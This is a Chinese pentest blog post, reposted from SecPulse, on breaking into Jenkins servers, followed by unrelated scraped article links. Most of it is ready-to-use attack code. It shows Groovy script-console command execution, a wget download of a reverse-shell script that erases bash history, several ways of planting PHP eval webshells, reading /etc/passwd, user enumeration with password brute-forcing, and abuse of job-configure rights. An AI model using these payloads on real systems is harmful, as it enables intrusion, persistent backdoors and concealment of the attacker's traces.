转自安全脉搏

本文首发安全脉搏 感谢大王叫我来巡山 的投递 转载请注明来源

大多安全工作者听到jenkins都会知道有个未授权的命令执行

但是如果Script页面要授权才能访问呢 或者你的用户没有Overall/RunScripts权限呢

抱着提出问题–>测试问题–>解决问题的思路有了这篇文章

由于版本众多 也不用下载本地测了 直接在内网找到六个

截止发稿 Jenkins新版本为(1.589)

一、 知其一的Jenkins未授权访问可执行命令

http://www.secpulse.com:8080/manage

http://www.secpulse.com:8080/script

默认是8080端口 未授权访问就是任意用户都能访问 都能执行命令

1) println “ifconfig -a”.execute().text  执行一些系统命令

老外比较喜欢这样用:

 
1
2
3
4
5
6
7
8
9
def sout = new StringBuffer(), serr = new StringBuffer()
 
def proc = '[INSERT COMMAND]'.execute()
 
proc.consumeProcessOutput(sout, serr)
 
proc.waitForOrKill(1000)
 
println "out> $sout err> $serr"

2) 直接wget下载back.py反弹shell

 
1
2
3
println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
 
println "python /tmp/back.py 10.1.1.111 8080".execute().text

back.py里面已经有了HISTFILE代码,会自动去掉各种history记录,确保shell断掉的时候不会被记录到.bash_history里面

back.py不需要root权限

3) 不想反弹试试Terminal Plugin

可以搜索安装Terminal Plugin

https://wiki.jenkins-ci.org/display/JENKINS/Terminal+Plugin

不想提权的话 还是蛮好用的终端插件 谁用谁知道~

二、不知其二之多种方式写shell

有时候其他端口有web,我们可以查看nginx/apache配置或者结合phpinfo写入webshell

尝试几次失败后开始翻阅Groovy  Script语法

The web site for Groovy is http://groovy.codehaus.org/

Groovy is a weakly-typed scripting language based on Java.

1)Groovy既然是基于Java的弱类型语言 那么先稍微提提它的语法

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
def name = 'Joe'
 
println "Hello $name"
 
//Hello Joe
 
 
 
def name = 'Joe'
 
println "Number of letters in $name is ${name.size( )}"
 
//Number of letters in Joe is 3
 
 
 
//Groovy I/O 文件读写
 
 
读文件
 
text = new File("/tmp/back.py").getText();
 
 
//eachLine -- 打开和读取文件的每一行
 
new File("/tmp/back.py").eachLine {
 
println it;
 
}
 
//readLines
 
lineList = new File("/tmp/back.py").readLines();
 
lineList.each {
 
println it.toUpperCase();
 
}
 
 
 
write轻轻松松写文件
 
new File("/tmp/1.php").write('Hello SecPulse');
 
 
 
多行写入
 
new File("/tmp/1.php").write("""
 
This is
 
just a test file
 
to play with
 
""");

2)几种写webshell的错误写法:

 
1
2
3
4
5
6
7
8
9
10
11
println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text
 
println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text
 
new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");
 
groovy.lang.MissingPropertyException: No such property: _POST for class: Script1
 
new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");
 
new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");

3)脑洞开 多种写webshell方法

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
① wget写webshell
 
println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text
 
 
new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
 
 
def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
 
new File("/var/www/html/media.php").write("$webshell");
 
 
 
④追加法写webshell
 
def execute(cmd) {
 
def proc =  cmd.execute()
 
proc.waitFor()
 
}
 
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
 
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )
 
//参数-n 不要在最后自动换行

Result: 0 表示成功写入

Result: 1 表示目录不存在或者权限不足 写入失败

Result: 2 表示构造有异常 写入失败

Hudson(jenkins类似)找”脚本命令行”

执行Groovy代码,读取服务器本地/etc/passwd文件:

 
1
2
3
4
5
6
7
8
9
try{
 
text = new File("/etc/passwd").getText();
 
out.print text
 
} catch(Exception e){
 
}

三、高逼格的Powershell&msf

https://github.com/samratashok/nishang

http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console

http://www.labofapenetrationtester.com/2014/06/hacking-jenkins-servers.html

nishang是一个powershell脚本集 msf上面有jenkins对应的exploit 感觉都没必要

四、登录认证的突破

jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限

1)某些版本匿名用户可以访问asynchPeople 可爆破密码

(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)

//用户列表:包含所有已知“用户”,包括当前安全域中的登录ID和在变更记录的提交信的息里的人

http://jenkins.secpulse.com:8080/asynchPeople/

所有构建(builds)

http://jenkins.secpulse.com:8080/view/All/builds

可以导出为XML

http:// jenkins.secpulse.com:8080/view/All/cc.xml

userContent(一般就一个readme):

http:// jenkins.secpulse.com:8080/userContent/

Computers:

http:// jenkins.secpulse.com:8080/computer/

2) 熟练的猜密码

根据这些用户名 熟练的猜密码 我们的目标就是要一个有命令执行权限的用户(最好是这样,但也不苛求)

有时候是域认证的用户 爆破立马触发各种邮件报警 显然就不理智 端详猜密码是个绝技~

3) 构造精准字典,来爆破

最好是构造精准的字典 也可以是top1000之类的弱口令

爆破Payload里面的json串可以删除

主要根据location判断爆破成功与否

五、低权限用户命令执行突破

不小心猜了个用户 没有执行权限 但是有job查看和configure权限

http://jenkins.secpulse.com:8080/job/Job1/configure

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
新加一个Execute Shell添加command  (win平台用Execute Windows batch command)
 
Cat /etc/passwd
 
Apply
 
添加左上侧 立即构建
 
Build History看到历史BuildId
 
右键
 
控制台输出
 
http://jenkins.secpulse.com:8080/job/Job1/300/console
 
纯文本方式
 
http://jenkins.secpulse.com:8080/job/Job1/300/consoleText

老外也有提及:http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html

六、asynchPeople等不能访问时候的突破

快速定位用户有妙招

1) 如果jobs能访问的话 各种翻jobs 会看到启动用户

2) 如果不能 那么启用/user/xxx/暴力模式

如果存在

如果不存在

突破用户回到上述的四和五~

七、关于几个配置和加密

1) 根目录下的关键配置config.xml

① 如果配置不好的话 容易导致config.xml直接下载

http:// jenkins.secpulse.com:8080/config.xml

②[useSecurity]true[/useSecurity] 改为false的话就可以未授权访问了

2) 每个用户目录下面的config.xml

passHash使用了Java的强加密方式jbcrypt

pentest工作就是大部分自动化 快速找到安全短板 譬如st2,譬如弱口令,譬如本文的jenkins命令执行,快速突破进内网完成测试任务。安全运维人员则必须修补每一个缺口,重视每一块短板,紧跟每一次安全漏洞披露。以上是一些拙见,欢迎交流~

知其一不知其二之Jenkins Hacking的更多相关文章

  1. JIRA licence and vulnarability,jenkins,devops

    http://blog.itpub.net/13651903/viewspace-1079918/ http://www.freebuf.com/articles/web/34051.html JIR ...

  2. Gitlab_ansible_jenkins三剑客⑥Jenkins和ansible集成

    ip 角色 备注 10.11.0.215 jenkins服务器 通过deploy运行jenkins服务,deploy用户做了免秘钥登录ansible服务器 10.11.0.210 ansible服务器 ...

  3. Jenkins+Gitlab+Ansible自动化部署(五)

    Freestyle Job实现静态网站部署交付(接Jenkins+Gitlab+Ansible自动化部署(四)https://www.cnblogs.com/zd520pyx1314/p/102445 ...

  4. Jenkins+Gitlab+Ansible自动化部署(六)

    Pipeline Job实现Nginix+MySQL+PHP+Wordpress实现自动化部署交付(Jenkins+Gitlab+Ansible自动化部署(五)https://www.cnblogs. ...

  5. Jenkins+Gitlab+Ansible自动化部署(二)

    接Jenkins+Gitlab+Ansbile自动化部署(一):https://www.cnblogs.com/zd520pyx1314/p/10210727.html Ansible的配置与部署 工 ...

  6. Jenkins+Gitlab+Ansible自动化部署(四)

    接Jenkins+Gitlab+Ansible自动化部署(三)https://www.cnblogs.com/zd520pyx1314/p/10235394.html Jenkins应用 Jenkin ...

  7. Jenkins 安装的HTML Publisher Plugin 插件无法展示ant生成的JunitReport报告

    最近在做基于jenkins ant  junit 的测试持续集成,单独ant junit生成的junitreport报告打开正常,使用Jenkins的HTML Publisher Plugin 插件无 ...

  8. Python-Jenkins API使用 —— 在后端代码中操控Jenkins

    最近在工作中需要用到在后台代码中触发Jenkins任务的构建,于是想到Jenkins是否有一些已经封装好的API类库提供,用于处理跟Jenkins相关的操作.下面就简单介绍下我的发现. Linux C ...

  9. 在centos7上安装Jenkins

    在centos7上安装Jenkins 安装 添加yum repos,然后安装 sudo wget -O /etc/yum.repos.d/jenkins.repo http://pkg.jenkins ...

随机推荐

  1. [cocos2dx utils] cocos2dx读取,解析csv文件

    在我们的游戏中,经常需要将策划的数值配置成csv文件,所以解析csv文件就是一个很common的logic, 例如如下csv文件: 下面是一个基于cocos2dx 2.2.4的实现类: #ifndef ...

  2. POJ 1149 PIGS(Dinic最大流)

    PIGS Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 20738   Accepted: 9481 Description ...

  3. modulus CRT

    (吐槽)额..CRT本来就是modulus的么.. CRT是可以每次加一个条件的(当然要保证coprime) 那么我们考虑 x=a (mod p1) x=b (mod p2) 这样的话我们知道 x=a ...

  4. 【16】vuex2.0 之 getter

    有的组件中获取到 store 中的state,  需要对进行加工才能使用,computed 属性中就需要写操作函数,如果有多个组件中都需要进行这个操作,那么在各个组件中都写相同的函数,那就非常麻烦,这 ...

  5. iOS飘雪的动画小demo

    ViewController.h #import <UIKit/UIKit.h> @interface ViewController : UIViewController{ UIImage ...

  6. 第13届景驰-埃森哲杯广东工业大学ACM程序设计大赛部分题解

    A 跳台阶 思路:其实很简单,不过当时直接dp来做了 AC代码: #define _CRT_SECURE_NO_DEPRECATE #include<iostream> #include& ...

  7. pat 甲级 Public Bike Management

    Public Bike Management (30) 题目描述 There is a public bike service in Hangzhou City which provides grea ...

  8. [NOIP2013] 提高组 洛谷P1979 华容道

    题目描述 [问题描述] 小 B 最近迷上了华容道,可是他总是要花很长的时间才能完成一次.于是,他想到用编程来完成华容道:给定一种局面, 华容道是否根本就无法完成,如果能完成, 最少需要多少时间. 小 ...

  9. div切换 div轮换显示

    原文发布时间为:2009-05-10 -- 来源于本人的百度文章 [由搬家工具导入] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Tran ...

  10. 使用python将ppm格式转换成jpg【转】

    转自:http://blog.csdn.net/hitbeauty/article/details/48465017 最近有个很火的文章,叫 有没有一段代码,让你觉得人类的智慧也可以璀璨无比? 自己试 ...